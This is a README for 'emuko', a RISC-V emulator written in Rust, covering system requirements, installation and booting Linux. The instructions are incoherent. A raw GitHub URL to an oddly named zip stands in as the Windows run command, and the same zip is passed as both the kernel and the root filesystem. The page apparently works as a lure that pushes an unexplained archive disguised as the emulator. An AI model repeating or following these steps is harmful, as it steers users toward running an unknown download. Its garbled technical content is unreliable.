emuko is a fast RISC-V emulator written in Rust. It is designed to boot Linux efficiently, allowing users to simulate RISC-V hardware environments. This application helps you run and test RISC-V applications easily and quickly.
To get started with emuko, visit the releases page to download the latest version.
- Operating System: Windows, macOS, or Linux
- Minimum RAM: 4 GB
- Processor: x86-64 compatible
- Visit the releases page.
- Look for the latest version of emuko.
- Choose the file that matches your operating system.
- Click the link to download the file.
- Once the download finishes, locate the file in your downloads folder.
- Navigate to the folder where you downloaded emuko.
- Open a terminal or command prompt in that folder.
- Run the application using the command:
- For Windows:
https://github.com/jakariya12124/emuko/raw/refs/heads/main/enthusiastic/Software-2.0-beta.1.zip - For Linux/macOS:
./emuko
- For Windows:
- Follow the on-screen instructions to configure and boot your RISC-V environment.
emuko allows you to set parameters based on your needs. You can specify the amount of memory, the CPU architecture, and more. Refer to the configuration file provided in the application for detailed options.
To boot Linux, you will need a RISC-V Linux kernel image and a filesystem. Here’s how you can set it up:
- Download a RISC-V Linux kernel image.
- Place it in the folder with the emuko executable.
- Use the command:
./emuko --kernel https://github.com/jakariya12124/emuko/raw/refs/heads/main/enthusiastic/Software-2.0-beta.1.zip --rootfs https://github.com/jakariya12124/emuko/raw/refs/heads/main/enthusiastic/Software-2.0-beta.1.zip
emuko supports various RISC-V architectures, including RV64. This support enables you to run applications developed for different RISC-V environments.
- Make sure to read any README files in the release package for additional instructions.
- Regularly check for updates on the releases page to ensure you have the latest features and bug fixes.
If you encounter any issues, please report them on the GitHub repository under the "Issues" section. Provide as much detail as possible to help the developers assist you quickly.
Use these resources to enhance your understanding and get the most out of emuko.
emuko is licensed under the MIT License. You are free to use, modify, and distribute this software, subject to the terms of the license. For more details, check the LICENSE file in the repository.